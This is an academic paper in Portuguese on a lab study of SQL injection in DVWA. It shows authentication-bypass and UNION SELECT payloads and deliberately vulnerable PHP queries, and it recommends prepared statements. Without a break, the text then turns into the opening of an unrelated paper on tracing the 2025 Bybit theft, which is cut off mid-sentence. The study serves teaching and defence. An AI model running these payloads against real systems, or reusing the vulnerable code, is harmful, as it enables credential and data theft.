falhas, a Injeção SQL (SQLi) é particularmente crítica, pois pode expor cre-
denciais e outras informações sensíveis. Este trabalho analisa vulnerabilidades
de SQLi em uma aplicação web propositalmente vulnerável, implantada em um
laboratório virtualizado. Utilizam-se Nmap, Burp Suite e Sqlmap para mapear
a superfície de ataque, identificar parâmetros vulneráveis e automatizar a ex-
ploração para extração de dados do banco. Os experimentos indicam que, na
ausência de validação adequada de entradas e do uso de consultas parametri-
zadas, um invasor pode obter dados sensíveis com baixo esforço técnico. Com
base nesses achados, são propostas recomendações alinhadas à OWASP Top
10, com foco em consultas parametrizadas, princípio do menor privilégio, hash
robusto de senhas e monitoramento contínuo.

1. Introdução
As aplicações web tornaram-se essenciais em ambientes comerciais, educacionais e de
serviços, concentrando grande volume de dados sensíveis e processos críticos de negócio.
Apesar da evolução de frameworks e práticas de desenvolvimento seguro, vulnerabili-
dades clássicas, como a Injeção SQL, continuam sendo exploradas em incidentes reais,
comprometendo a confidencialidade, integridade e disponibilidade das informações em
diferentes setores [Paul et al. 2024].
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Nesse cenário, estudos recentes indicam que a Injeção SQL permanece entre os
vetores mais explorados, com impacto direto em vazamentos de dados e comprometi-
mento de contas [Nasereddin et al. 2023]. A OWASP Top 10 (2021) reforça essa critici-
dade ao destacar que falhas de injeção continuam recorrentes, mesmo diante da disponibi-
lidade de frameworks seguros [OWASP Foundation 2021], fato corroborado por relatórios
globais que apontam as aplicações web como principais portas de entrada para violações
de dados [Verizon 2024, Akamai Technologies 2024]. Diante disso, a compreensão des-
sas vulnerabilidades na base do código e sua análise prática em ambientes controlados
tornam-se essenciais para reduzir a superfície de ataque e aproximar a teoria das situações
enfrentadas no dia a dia por desenvolvedores e analistas de segurança [Fathi et al. 2025].

A Figura 1 detalha o crescimento contínuo de CVEs segundo o NIST e a alta
prevalência de Injeção SQL no OWASP Top 10. Essa tendência evidencia que a falha
permanece um desafio crítico e crescente para a segurança de aplicações modernas.

Figura 1. Evolução do número de CVEs associadas a SQL Injection (NVD) e
da prevalência de Injection no OWASP Top 10 (2019–2025). Fonte: O
autor. Baseado em dados do NVD [NIST 2026] e OWASP Top 10:2021
[OWASP Foundation 2021].

Diante desse cenário, surge uma questão fundamental que motiva este estudo: por
que, mesmo após décadas de pesquisa, ampla documentação e diretrizes consolidadas,
como as propostas pela OWASP, vulnerabilidades de Injeção SQL ainda permanecem re-
correntes em aplicações web modernas? Entre os principais fatores associados a essa
persistência destacam-se o uso de sistemas legados, práticas inadequadas de desenvolvi-
mento seguro, dependência excessiva de sanitização de entradas em detrimento de consul-
tas parametrizadas, limitações de conhecimento técnico e falhas no processo de revisão e
testes de segurança ao longo do ciclo de vida do software. A compreensão dessas causas
é essencial para contextualizar os experimentos realizados e justificar a necessidade de
análises práticas como a apresentada neste trabalho.

Portanto, este trabalho tem como objetivo analisar vulnerabilidades do tipo In-
jeção SQL em aplicações web, por meio da configuração de um ambiente controlado
com DVWA e da execução de testes com as ferramentas Nmap, Burp Suite e Sqlmap.
As principais contribuições decorrentes dessa análise incluem a apresentação de evi-
dências concretas de exposição de credenciais e dados sensíveis, bem como a proposi-
ção de medidas de mitigação alinhadas à OWASP Top 10 (2021), com foco específico
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em consultas parametrizadas, princípio do menor privilégio e monitoramento contínuo
[OWASP Foundation 2021, Paul et al. 2024, Verizon 2024].

O restante deste trabalho está organizado da seguinte forma: A Seção 2 apresenta
a fundamentação teórica sobre segurança da informação e Injeção SQL. A Seção 3 discute
os trabalhos relacionados. A Seção 4 descreve a metodologia e o laboratório. A Seção 5
apresenta e analisa os resultados obtidos, enquanto a Seção 6 traz recomendações práticas.
Por fim, a Seção 7 apresenta as conclusões e trabalhos futuros.

2. Fundamentação Teórica
A segurança da informação baseia-se na proteção dos pilares de confidencialidade, in-
tegridade e disponibilidade (CIA). A seguir, são apresentados os principais conceitos e
vulnerabilidades relacionados às aplicações web.

2.1. Conceitos Fundamentais
A Segurança da Informação visa proteger ativos informacionais contra acesso, uso, mo-
dificação ou destruição não autorizados, sendo essencial no atual cenário digital. Tradi-
cionalmente, a área estrutura-se sobre a Tríade C-I-D (Confidencialidade, Integridade e
Disponibilidade), modelo que fundamenta normas internacionais como a ISO/IEC 27001
e orienta a gestão de riscos.

• Confidencialidade: Restringe o acesso à informação a indivíduos e sistemas au-
torizados, prevenindo vazamentos. É implementada via criptografia, autenticação
e princípio do privilégio mínimo.

• Integridade: Assegura a veracidade e consistência dos dados, protegendo-os con-
tra alterações indevidas. Mecanismos como hashing e controle de versão são uti-
lizados para garanti-la.

• Disponibilidade: Garante que sistemas e dados estejam acessíveis quando neces-
sários. Depende de redundância, balanceamento de carga e planos de contingên-
cia.

A aplicação eficaz desses pilares é crucial para evitar impactos financeiros e le-
gais, como sanções da LGPD. Além das proteções técnicas, a segurança abrange aspectos
processuais e humanos, visto que falhas de conscientização ampliam vetores de vulnera-
bilidade. A compreensão da Tríade C-I-D serve, portanto, como alicerce teórico para a
análise de vulnerabilidades em aplicações web conduzida neste trabalho.

2.2. OWASP Top 10
A OWASP Foundation (Open Web Application Security Project) é uma organização glo-
bal sem fins lucrativos, dedicada a melhorar a segurança de software. A fundação dis-
ponibiliza gratuitamente ferramentas, guias e metodologias que se tornaram referência
na engenharia de sistemas. O seu projeto mais notável é o OWASP Top 10, um docu-
mento atualizado periodicamente que classifica as dez vulnerabilidades mais críticas em
aplicações web com base em dados empíricos.

A edição de 2021, utilizada como referência neste trabalho, consolida informa-
ções de mais de 500 mil aplicações testadas, fornecidas por diversas organizações de
segurança. A Figura 2 apresenta essas categorias, com destaque para falhas de controle
de acesso, problemas criptográficos e injeção.
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Figura 2. OWASP Top 10 (2021) e categorias de vulnerabilidades mais críticas em
aplicações web. Fonte: adaptado de Mend.io (2024). [Mend.io 2024]

O objetivo do OWASP Top 10 vai além da conscientização; ele visa educar de-
senvolvedores e gestores sobre riscos e mitigações, servindo como base para padrões de
mercado como o PCI DSS e a norma ISO/IEC 27034. Neste estudo, o documento é
utilizado para categorizar os ataques realizados e fundamentar as propostas de correção,
alinhando a prática laboratorial às exigências de conformidade reais.

2.3. Injeção (A03)
As falhas de injeção ocupam a terceira posição no OWASP Top 10 e ocorrem quando
dados não confiáveis são enviados a um interpretador como parte de um comando ou con-
sulta. Embora existam diversos vetores nessa categoria como Command Injection, LDAP
Injection e NoSQL Injection, este trabalho concentra-se exclusivamente na Injeção SQL
(SQLi), devido à sua prevalência em sistemas legados e alto impacto na confidencialidade
dos dados.

2.3.1. SQL Injection (SQLi)

A Injeção SQL ocorre quando consultas SQL são construídas dinamicamente a partir de
entradas do usuário sem a devida separação entre os dados e os comandos de controle.
Isso permite que um atacante manipule a estrutura da consulta original.

Um exemplo clássico, conhecido como Authentication Bypass, pode ser observado
na construção abaixo:

SELECT * FROM users WHERE username = ’$input’ AND password = ’
$pass’;

Se o atacante inserir o payload ’ OR ’1’=’1’- no campo de entrada, a con-
sulta torna-se:

SELECT * FROM users WHERE username=’’ OR ’1’=’1’--’ AND password
=’’;
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Como a condição ’1’=’1’ é sempre verdadeira, o banco de dados retorna o
primeiro registro da tabela (geralmente o administrador), permitindo o acesso sem senha.

Além dessa técnica básica, ataques de SQL Injection são geralmente cate-
gorizados em três tipos principais, dependendo de como o atacante extrai os da-
dos [Pattewar et al. 2019]:

• In-band SQLi (Clássico): Ocorre quando o atacante utiliza o mesmo canal de co-
municação para lançar o ataque e receber os resultados. A técnica mais comum
é o UNION-based, onde o operador UNION é usado para combinar os resulta-
dos da consulta original com resultados de outras tabelas injetadas, permitindo o
vazamento direto de dados na resposta HTTP.

• Error-based SQLi: O atacante força o banco de dados a gerar erros propositais que
contêm informações sobre a estrutura da base de dados (como nomes de tabelas e
colunas).

• Blind SQLi (Cego): Neste cenário, a aplicação não retorna dados ou erros na
tela. O atacante infere informações fazendo perguntas de “Verdadeiro ou Falso”
ao banco de dados (Boolean-based) ou medindo o tempo que o banco leva para
responder (Time-based). É um processo lento, geralmente automatizado por fer-
ramentas como o Sqlmap.

Os impactos desses ataques variam desde o vazamento massivo de dados sensíveis
até o comprometimento total do servidor em configurações inseguras [Xu et al. 2024].

2.4. Ferramentas de Análise
Para a execução dos testes práticos e validação das vulnerabilidades, foram selecionadas
ferramentas padrão de mercado e de código aberto, amplamente utilizadas em testes de
penetração:

• Nmap (Network Mapper): Ferramenta de código aberto utilizada para exploração
de rede e auditoria de segurança. Neste trabalho, é empregada para o mapeamento
de portas, descoberta de serviços ativos e identificação do sistema operacional do
alvo.

• Burp Suite: Uma plataforma integrada para testes de segurança em aplicações
web. Atua como um proxy local, permitindo a interceptação, análise e modificação
de requisições HTTP/HTTPS entre o navegador e o servidor, sendo essencial para
identificar parâmetros ocultos e testar injeções manualmente.

• Sqlmap: Ferramenta automatizada de teste de penetração que detecta e explora
falhas de Injeção SQL. Ela facilita o processo de identificação de bancos de dados,
enumeração de tabelas e extração de dados (dump), confirmando a severidade da
vulnerabilidade.

• OWASP ZAP (Zed Attack Proxy): Scanner de segurança de aplicações web man-
tido pela OWASP. Funciona como um proxy “man-in-the-middle”, permitindo var-
reduras automatizadas e testes manuais para identificar vulnerabilidades como in-
jeção, XSS e configurações incorretas de segurança.

3. Trabalhos Relacionados
Pesquisas e relatórios técnicos indicam que vulnerabilidades em aplicações web con-
tinuam recorrentes e relevantes, em especial aquelas categorizadas pela OWASP Top
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10 [OWASP Foundation 2021]. Em trabalhos iniciais, Galán-Hernández e León-Chávez
(2008) analisaram vulnerabilidades e limitações de serviços de segurança em plataformas
de e-learning, destacando riscos associados a práticas insuficientes de projeto e configu-
ração no Moodle [Galán-Hernández and León-Chávez 2008]. Na mesma linha de avali-
ação prática, Monteverde (2014) realizou um estudo e análise de vulnerabilidades web
utilizando ferramentas de varredura e exploração em diferentes aplicações, organizando
achados e contramedidas para falhas comuns [Monteverde 2014].

Especificamente em SQL Injection, Xu et al. (2024) compilaram uma visão ge-
ral de técnicas de detecção (estáticas, dinâmicas e híbridas), enfatizando tendências e
limitações na identificação de SQLi em aplicações modernas [Xu et al. 2024]. Comple-
mentarmente, Paul et al. (2024) discutiram detecção, priorização e prevenção de SQL
Injection, reforçando que falhas de validação e ausência de prepared statements ainda
permitem extração de dados sensíveis em diversos contextos [Paul et al. 2024].

Por fim, este trabalho realiza um estudo prático de SQL Injection em laboratório
(DVWA), com evidências de exploração e recomendações alinhadas à OWASP Top 10
(2021), permitindo comparação direta com as abordagens discutidas.

A Tabela 1 resume os principais trabalhos relacionados discutidos nesta seção,
organizada por ordem de citação.

Referência Escopo Metodologia Ferramentas Aplicação Contramedidas
OWASP Top 10
(2021)

Vulnerabilidades
web críticas

Relatório con-
solidado

N/A Aplicações
Web (amplo)

Recomendações
gerais

Galán-Hernández
& León-Chávez
(2008)

Segurança em
e-learning

Análise de
vulnerabilida-
des

N/A Moodle (LMS) Propostas de miti-
gação

Monteverde
(2014)

Vulnerabilidades
web

Estudo prá-
tico com
varreduras

Ferramentas
diversas

Aplicações
Web

Contramedidas
discutidas

Xu et al. (2024) SQL Injection Survey de téc-
nicas

N/A Aplicações
Web modernas

N/A (foco em de-
tecção)

Paul et al. (2024) SQL Injection Detecção,
priorização e
prevenção

N/A Aplicações
Web

Boas práticas dis-
cutidas

Este Trabalho OWASP Top 10
/ SQLi

Análise
prática em
laboratório

Nmap, Burp
Suite, Sqlmap

DVWA Consultas para-
metrizadas

Tabela 1. Comparativo entre os trabalhos relacionados citados e a presente pes-
quisa, organizado por ordem de citação.

4. Metodologia
O estudo foi conduzido em um ambiente de laboratório, isolado de redes de produção,
a fim de permitir a exploração controlada de vulnerabilidades sem riscos para sistemas
reais, como ilustrado na Figura 3. O host de testes utilizou o sistema operacional Kali
Linux 2024.1, no qual foram instaladas as ferramentas de varredura e análise. Como alvo,
foram configuradas as máquinas virtuais Metasploitable2 e DVWA (Damn Vulnerable
Web Application), uma aplicação web propositalmente vulnerável desenvolvida para fins
educacionais e de treinamento em segurança da informação.

O DVWA permite a exploração controlada de falhas comuns em aplicações web,
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Figura 3. Cenário de Experimentação: Máquina atacante (Kali Linux 2024.1) com
as ferramentas Nmap, Burp Suite e Sqlmap, conectada via rede virtual
bridge às máquinas vulneráveis (Metasploitable2 e DVWA), que hospedam
a aplicação web e o banco de dados explorado nos testes de Injeção SQL.

como Injeção SQL, XSS e falhas de autenticação, possibilitando que estudantes e profis-
sionais pratiquem técnicas de ataque e compreendam os impactos dessas vulnerabilidades
em um ambiente seguro. As máquinas foram configuradas em uma rede virtual do tipo
bridge, permitindo a comunicação direta entre atacante e vítima.

A infraestrutura lógica foi organizada em duas camadas: (i) a máquina atacante,
responsável pela descoberta de serviços, interceptação de requisições e execução dos ata-
ques de Injeção SQL; e (ii) as máquinas vulneráveis, executando serviços web e banco de
dados com configurações propositalmente inseguras. O endereço IP do alvo foi identifi-
cado por meio de varredura de rede, e os serviços expostos foram mapeados com o Nmap,
de forma a localizar portas relevantes, como o servidor web na porta 80.

Após a identificação da aplicação DVWA, o nível de segurança foi configurado
para o modo “low”. Este modo permite reproduzir cenários comuns de validação insufi-
ciente de entrada. Em seguida, o Burp Suite foi utilizado para interceptar e inspecionar as
requisições HTTP enviadas pelo navegador, permitindo a análise de parâmetros vulnerá-
veis a injeção. Com base nessas requisições, o Sqlmap foi configurado para automatizar
a exploração dos pontos identificados, testando diferentes técnicas de Injeção SQL e rea-
lizando o dump de tabelas selecionadas do banco de dados.

Durante o processo, foram coletadas evidências em forma de capturas de tela e
registros de saída das ferramentas, incluindo a extração de credenciais de usuários e de
outros dados sensíveis armazenados pela aplicação. Esses resultados foram utilizados
posteriormente para discutir o impacto das vulnerabilidades encontradas e para embasar
as recomendações de mitigação apresentadas nas seções de discussão e conclusão.

4.1. Cenários de Teste e Questões de Avaliação

Com o objetivo de garantir reprodutibilidade e clareza na análise, os experimentos foram
conduzidos a partir de cenários de teste bem definidos, cada um associado a questões
específicas de investigação. Esses cenários permitiram avaliar, de forma comparativa, o
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impacto das diferentes configurações de segurança da aplicação DVWA sobre a explora-
ção de vulnerabilidades de Injeção SQL.

O primeiro cenário consistiu na configuração da aplicação no nível de segurança
low, com ausência de validação adequada de entradas. A principal questão avaliada nesse
cenário foi: é possível explorar vulnerabilidades de Injeção SQL de forma trivial e au-
tomatizada quando não há qualquer mecanismo de proteção implementado? Buscou-se
verificar a quantidade de parâmetros vulneráveis, a viabilidade de automação do ataque e
o tipo de informação sensível que poderia ser extraída.

No segundo cenário, a aplicação foi configurada no nível de segurança medium,
que introduz mecanismos básicos de sanitização de entradas. Nesse caso, a análise
concentrou-se na seguinte questão: mecanismos de sanitização isolados são suficientes
para impedir a exploração de Injeção SQL? O objetivo foi avaliar se proteções parci-
ais reduzem efetivamente o risco ou apenas elevam o nível de complexidade do ataque,
mantendo a possibilidade de exploração.

O terceiro cenário correspondeu ao nível de segurança high, no qual a aplicação
utiliza consultas parametrizadas (prepared statements). A questão central desse cenário
foi: o uso de consultas parametrizadas é capaz de neutralizar completamente as tenta-
tivas de Injeção SQL, mesmo diante de payloads maliciosos? Para isso, repetiram-se os
testes dos cenários anteriores, buscando confirmar a efetividade da mitigação adotada.

5. Resultados

5.1. Injeção SQL e Extração de Dados

As atividades experimentais confirmaram a vulnerabilidade da aplicação no cenário pro-
posto. Foram identificados 5 parâmetros suscetíveis à Injeção SQL na aplicação DVWA
configurada em modo “low”, permitindo a injeção de comandos arbitrários sem restrições
de filtragem. A exploração via Sqlmap resultou na extração de 45 registros da tabela de
usuários e 30 registros da tabela de cartões de crédito. A análise dos dados exfiltrados
revelou informações críticas, incluindo nomes completos, endereços e hashes de senhas
(MD5), evidenciando o comprometimento da confidencialidade da base de dados. O su-
cesso da exploração demonstra que, na ausência de validação de entrada e de consultas
parametrizadas, a automação do ataque é trivial e de alto impacto. A Figura 4 apresenta o
dump da tabela de usuários, onde é possível observar a estrutura dos dados vazados.

De forma ainda mais crítica, a Figura 5 ilustra a extração da tabela de cartões de
crédito. Neste caso, observou-se que dados financeiros sensíveis (número do cartão, CVV
e validade) estavam armazenados sem criptografia, permitindo a leitura após a injeção.
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Figura 4. Dump da tabela users obtido por injeção SQL, expondo logins e hashes
de senhas.

Figura 5. Dump da tabela creditcards evidenciando dados sem criptografia.
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5.1.1. Análise do código vulnerável (nível Low)

Para compreender o sucesso do ataque no nível de segurança low, analisou-se o código-
fonte responsável pela consulta ao banco de dados. Conforme a Figura 6, a aplicação
captura o parâmetro de entrada e o utiliza diretamente na construção da instrução SQL:

$id = $_REQUEST[’id’];
$query = "SELECT first_name, last_name FROM users WHERE user_id

= ’$id’;";

Figura 6. Trecho de código PHP do módulo de SQL Injection no DVWA, configu-
rado no nível de segurança low.

A vulnerabilidade reside na concatenação direta da variável $id. Como não há
validação, sanitização ou uso de consultas parametrizadas, o interpretador do banco de
dados não distingue o que é dado do que é comando.

Dessa forma, ao inserir um payload contendo uma aspa simples (ex: ’ OR
’1’=’1’ #), o atacante fecha a string delimitada pelo código original e insere uma
nova condição lógica sempre verdadeira. O caractere # (ou -) comenta o restante da
consulta, anulando a aspa de fechamento original.
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5.1.2. Análise do código intermediário (nível Medium)

No nível medium, o DVWA implementa uma camada de segurança adicional utilizando
a função mysqli_real_escape_string(). O objetivo é neutralizar caracteres es-
peciais (como aspas simples e duplas) que poderiam quebrar a sintaxe da consulta SQL.
O código responsável por essa validação é apresentado abaixo e na Figura 7:

$id = $_GET[’id’];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id)

;
$query = "SELECT first_name, last_name FROM users WHERE user_id

= $id";

Figura 7. Trecho de código PHP do DVWA no nível medium.

Apesar da introdução dessa função, observa-se que a variável $id é concatenada
na consulta SQL sem estar delimitada por aspas (user_id = $id).

Essa ausência de aspas torna o mysqli_real_escape_string() ineficaz
para este contexto. Como o banco de dados espera um valor numérico, o atacante não
precisa utilizar aspas para “escapar” do campo original. Basta inserir comandos SQL
diretamente (ex: 1 UNION SELECT...).

5.1.3. Análise do código seguro (nível High)

No nível high, o DVWA altera a forma de executar a consulta passando a utilizar Consultas
Parametrizadas (Prepared Statements). Essa abordagem elimina a concatenação direta de
valores, isolando a estrutura do comando SQL dos dados fornecidos pelo usuário.
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Figura 8. Interceptação via Burp Suite no nível medium.

O servidor de banco de dados recebe primeiro o “esqueleto” da consulta com
marcadores de posição (placeholders) e, somente depois, recebe os valores que devem
preencher esses espaços. Dessa forma, qualquer entrada do usuário — mesmo contendo
caracteres especiais de SQL — é tratada estritamente como dado literal.

O código abaixo exemplifica essa implementação segura:

// A estrutura definida com o placeholder "?"
$stmt = $GLOBALS[’__mysqli_ston’]->prepare(

"SELECT first_name, last_name FROM users WHERE user_id = ?"
);

// O valor enviado separadamente, tipado como inteiro ("i")
$stmt->bind_param("i", $id);
$stmt->execute();
$stmt->bind_result($first, $last);

while ($stmt->fetch()) {
// Processamento dos resultados

}
$stmt->close();
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Figura 9. Trecho de código do DVWA no nível high utilizando prepared state-
ments para consulta à tabela users.

5.1.4. Validação da mitigação (nível High)

Para validar a eficácia da correção, repetiu-se o experimento de interceptação realizado no
nível high. Ao inserir manualmente o payload 1 UNION SELECT user,password
FROM users #, observou-se que o sistema tratou a entrada estritamente como um dado
literal, e não como parte da instrução SQL.

Figura 10. Tentativa de injeção via Burp Suite no nível high, em que o payload é
tratado apenas como parâmetro e não gera dump de dados.
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A Figura 10 comprova o insucesso da injeção. Diferente dos cenários anteriores,
não houve retorno de dados da tabela de usuários nem erros de sintaxe expostos. A aplica-
ção buscou, na prática, um usuário cujo ID fosse literalmente a string enviada, resultando
em uma consulta vazia.

Essa resiliência ocorre porque os prepared statements definem a gramática SQL
no servidor antes da inserção dos dados. Os parâmetros são transmitidos com tipagem
explícita e isolados da estrutura do comando. Portanto, mesmo que o atacante insira
operadores como UNION ou caracteres de comentário (#), eles não alteram a lógica da
consulta.

Em suma, a análise comparativa demonstra que enquanto o nível low permite
exploração trivial e o nível medium oferece uma proteção parcial baseada em sanitização
(suscetível a erros de implementação), apenas o nível high apresenta uma solução robusta.
A adoção de consultas parametrizadas neutraliza a classe de vulnerabilidades de Injeção
SQL, independentemente do conteúdo inserido pelo usuário.

Tabela 2. Resumo dos resultados obtidos para cada nível de segurança da DVWA
no módulo de Injeção SQL.

Aspecto Low Medium High
Parâmetros vulne-
ráveis

5 3 0

Técnica de prote-
ção

Nenhuma mysqli_real_escape_string()
prepared state-
ments

Facilidade de ex-
ploração

Exploração tri-
vial via Sqlmap

Exploração com contorno
manual

Sem exploração
bem-sucedida

Dados extraídos
45 users + 30 cre-
ditcards

Extração parcial Nenhum

Impacto na confi-
dencialidade

Totalmente com-
prometida

Parcialmente comprome-
tida

Preservada

Impacto na integri-
dade

Alteração não au-
torizada

Alteração em cenários es-
pecíficos

Não evidenciado

6. Discussão e Recomendações
Como observado na Seção 5.1, a extração de credenciais em texto simples torna viável a
tomada de contas de usuários legítimos, o que reforça a necessidade da adoção de funções
de hash robustas para o armazenamento de senhas. Além disso, a presença de dados
financeiros sensíveis expostos reforça a importância da implementação de mecanismos
de criptografia e tokenização para proteger informações críticas. A automatização da
exploração por ferramentas como Sqlmap evidencia a urgência da integração de soluções
de monitoramento contínuo, como SIEM, e a adoção de políticas restritivas no banco de
dados, incluindo o princípio do menor privilégio.

Os resultados obtidos demonstram que, na ausência de validação robusta de en-
trada e de consultas parametrizadas, um invasor consegue explorar de forma relativamente
simples pontos de Injeção SQL para acessar tabelas críticas do banco de dados. Na prá-
tica, isso significa que credenciais de usuários, dados financeiros e outras informações
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sensíveis podem ser extraídas sem autenticação legítima, comprometendo diretamente a
confidencialidade e a integridade dos dados armazenados pela aplicação.

Nesse contexto, uma correção imediata consiste na adoção de consultas parame-
trizadas em todas as rotinas de acesso a dados, separando o comando SQL dos valores
fornecidos pelo usuário e impedindo que payloads maliciosos sejam interpretados como
parte da instrução. Complementarmente, a aplicação do princípio do menor privilégio às
contas de banco de dados reduz o escopo de leitura e escrita disponível para um atacante
em caso de comprometimento. O uso de funções de hash robustas para armazenamento
de senhas e de mecanismos de validação e sanitização de entradas também contribui para
dificultar a exploração automatizada das falhas observadas neste estudo.

Como medidas complementares, recomenda-se integrar ferramentas de análise di-
nâmica, como OWASP ZAP, e estática, como SonarQube, aos pipelines de desenvolvi-
mento, de modo a identificar vulnerabilidades de Injeção SQL ainda nas fases iniciais do
ciclo de vida de software. Além disso, a adoção de soluções de registro e monitoramento
contínuo, preferencialmente integradas a um SIEM, permite detectar padrões de ataque
semelhantes aos realizados com o Sqlmap e responder de forma mais rápida a tentativas
de exploração, aumentando a resiliência da aplicação frente a esse tipo de ameaça.

7. Conclusão e Trabalhos Futuros

Os experimentos realizados em ambiente de laboratório demonstraram que aplicações
web com validação insuficiente de entrada e sem uso de consultas parametrizadas per-
manecem altamente suscetíveis a ataques de Injeção SQL. A exploração dos parâmetros
vulneráveis na DVWA permitiu o dump de tabelas contendo credenciais de usuários e
outros dados sensíveis, evidenciando, na prática, como um atacante pode comprometer
a confidencialidade e a integridade das informações com relativamente pouco esforço.
Esses achados reforçam a relevância das recomendações da OWASP Top 10 para o de-
senvolvimento e a operação segura de aplicações web.

Com base nos resultados obtidos, foram propostas medidas de mitigação que in-
cluem a adoção sistemática de consultas parametrizadas, a aplicação do princípio do me-
nor privilégio às contas de banco de dados, o uso de funções de hash robustas para arma-
zenamento de senhas e a integração de ferramentas de análise dinâmica e estática ao ciclo
de desenvolvimento. Em conjunto, essas estratégias contribuem para reduzir a probabili-
dade de exploração de falhas semelhantes às observadas neste estudo e para aumentar a
capacidade de detecção e resposta a incidentes em ambientes reais.

Como trabalhos futuros, propõe-se ampliar o escopo dos experimentos para apli-
cações modernas baseadas em APIs REST e arquiteturas de microsserviços, nas quais o
padrão de autenticação e a forma de exposição de dados diferem dos cenários avaliados.
Também se pretende integrar de forma mais profunda ferramentas SAST e DAST em pi-
pelines DevSecOps, bem como estender a análise para vulnerabilidades relacionadas a
componentes em nuvem e contêineres, permitindo avaliar como os princípios discutidos
para Injeção SQL se traduzem em contextos de infraestrutura mais distribuídos.
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Abstract. This work analyzes the 2025 Bybit security incident, in which user-
interface manipulation enabled attackers to obtain valid signatures and exploit
logical vulnerabilities in a proxy-based custody architecture. The forensic in-
vestigation applied a forward-tracing heuristic to reconstruct post-exploit fund
dispersion on the Ethereum blockchain. The resulting transaction graph com-
prises 93,089 addresses and more than 1.8 million classified transactions. A
visualization layer was developed to support topological inspection and the
identification of obfuscation patterns. Validation against Bybit’s asset-recovery
program achieved a 92.27% match rate, demonstrating the effectiveness of the
approach.

Resumo. Este trabalho analisa o incidente de segurança da Bybit (2025), no
qual a manipulação da interface de usuário permitiu aos atacantes obter as-
sinaturas válidas e explorar vulnerabilidades lógicas em uma arquitetura de
custódia baseada em proxy. A investigação forense utilizou uma heurı́stica de
forward-tracing para reconstruir a dispersão dos ativos na blockchain Ethe-
reum após o exploit. O grafo resultante reúne 93.089 endereços e mais de 1,8
milhão de transações classificadas. Desenvolveu-se uma camada de visualização
para análise topológica e identificação de padrões de ofuscação. A validação
frente ao programa de recuperação de fundos da Bybit alcançou 92,27% de
correspondência, demonstrando a efetividade da abordagem empregada.

1. Introdução
A plataforma Ethereum consolidou-se como a infraestrutura predominante para o de-
senvolvimento de aplicações descentralizadas e gestão de ativos digitais, oferecendo um
ambiente programável robusto através de contratos inteligentes. Contudo, a imutabilidade e
o pseudo-anonimato caracterı́sticos desta tecnologia, aliados ao elevado volume financeiro
transacionado, atraı́ram a atenção de atores maliciosos. O crescimento do ecossistema
tem sido acompanhado por um aumento proporcional em atividades ilı́citas, variando
desde explorações de vulnerabilidades de código até esquemas sofisticados de lavagem de
dinheiro [Atzei et al. , 2017].

O ataque à corretora Bybit, ocorrido em 21 de fevereiro de 2025, desestabilizou
o ecossistema de ativos digitais, configurando-se como um dos eventos de segurança
mais significativos da história das criptomoedas [Rivas et al. , 2025; Sygnia Research
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Team , 2025]. O incidente resultou na perda de aproximadamente US$1,4 bilhão1 em
Ethereum (ETH) e em diversos tokens compatı́veis com o padrão ERC-20, incluindo
401.347 unidades de Ether (ETH), 90.376 de Lido Staked Ether (stETH), 8.000 de Mantle
Staked Ether (mETH), 15.000 de Coinbase Wrapped Ether (cmETH) e 90 de Tether USD
(USDT) [Rivas et al. , 2025; Krause , 2025], caracterizando-se como o maior roubo de
criptoativos registrado até então.

Como observado por Krause (2025), este evento supera em magnitude incidentes
notórios anteriores, como os ataques à Ronin Network em 2022 (US$ 615 milhões1) e à
Poly Network em 2021 (US$ 611 milhões)1, inserindo-se em um padrão de escalada na
sofisticação das ofensivas contra custodiantes de ativos digitais.

Esse incidente representou a convergência de múltiplas falhas de segurança, desde
vulnerabilidades técnicas em contratos inteligentes até práticas insuficientes de verificação
em processos de assinatura de transações. A análise técnica deste incidente fornece lições
crı́ticas não apenas para a indústria de exchanges, mas também para a compreensão geral de
segurança em sistemas descentralizados baseados em blockchain. Diferentemente de ata-
ques convencionais que exploram exclusivamente falhas criptográficas ou vulnerabilidades
isoladas de contrato inteligente, este incidente representa uma operação multifacetada que
combina técnicas de engenharia social, manipulação de interface de usuário e exploração
de padrões de projeto perigosos em Solidity [Houy et al. , 2023].

Em resposta à gravidade do incidente, o Federal Bureau of Investigation (FBI)
emitiu um comunicado oficial em 26 de fevereiro de 2025, atribuindo formalmente a autoria
do ataque ao grupo Lazarus (também conhecido como TraderTraitor), uma organização de
ciberespionagem ligada à República Popular Democrática da Coreia (Coréia do Norte)[IC3
, 2025].

Conforme análise detalhada de Krause (2025), o ataque precipitou uma volatilidade
acentuada nos mercados de criptomoedas. Minutos após o incidente, o preço do ETH caiu
7%. Esta queda abrupta contribuiu para um contágio mais amplo no mercado, eliminando
aproximadamente US$ 75 bilhões1 da capitalização total de mercado de criptomoedas em
24 horas. Bitcoin (BTC) e Solana (SOL) também sofreram declı́nios de 2,4% e 3,0%,
respectivamente. Além do impacto imediato nos preços, a Bybit teve temporariamente sua
taxa de reserva reduzida para 92% de seus passivos, gerando saı́das de mais de US$ 5,7
bilhões1 nas 24 horas seguintes ao ataque.

O objetivo deste trabalho é demonstrar que o ataque à Bybit resultou de uma
operação coordenada que explorou a convergência de vulnerabilidades em múltiplos nı́veis.
Argumenta-se que a execução ocorreu em duas fases complementares: uma fase off-chain,
com injeção de código malicioso na interface de usuário, e uma fase on-chain, com a
exploração de vulnerabilidades na lógica dos contratos inteligentes para desviar os fundos.
Adicionalmente, esta investigação emprega uma metodologia de análise forense on-chain
baseada na heurı́stica de rastreamento de transações de Lin et al. (2023). Através
da implementação customizada da heurı́stica via BlockchainSpider [Wu et al. , 2025],
mapearam-se 93.089 endereços únicos e 1.813.020 transações. A eficácia desta abordagem
é demonstrada por meio de uma validação cruzada com o conjunto de dados de referência
do programa de recuperação de ativos da corretora.

A Seção 2 fundamenta este trabalho apresentando os conceitos crı́ticos de segurança
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em contratos inteligentes e revisando trabalhos correlatos sobre rastreamento de ativos. Em
seguida, a Seção 3 disseca a anatomia do ataque à Bybit, detalhando a interdependência
entre a manipulação da interface e a exploração de vulnerabilidades lógicas. A metodologia
forense é estabelecida na Seção 4, onde se definem a heurı́stica de rastreamento e as
ferramentas de coleta utilizadas. Os resultados, incluindo a reconstrução do grafo de
transações e a validação quantitativa frente aos dados de referência, são discutidos na
Seção 5. Por fim, a Seção 6 apresenta as conclusões, limitações do estudo e propostas para
trabalhos futuros.

2. Referencial Teórico
Esta seção apresenta os conceitos fundamentais necessários para a compreensão da arquite-
tura de segurança explorada no ataque, bem como os trabalhos correlatos que fundamentam
a metodologia de rastreamento de ativos utilizada.

2.1. Conceitos Fundamentais

Os conceitos apresentados nesta seção estabelecem a base técnica necessária para compre-
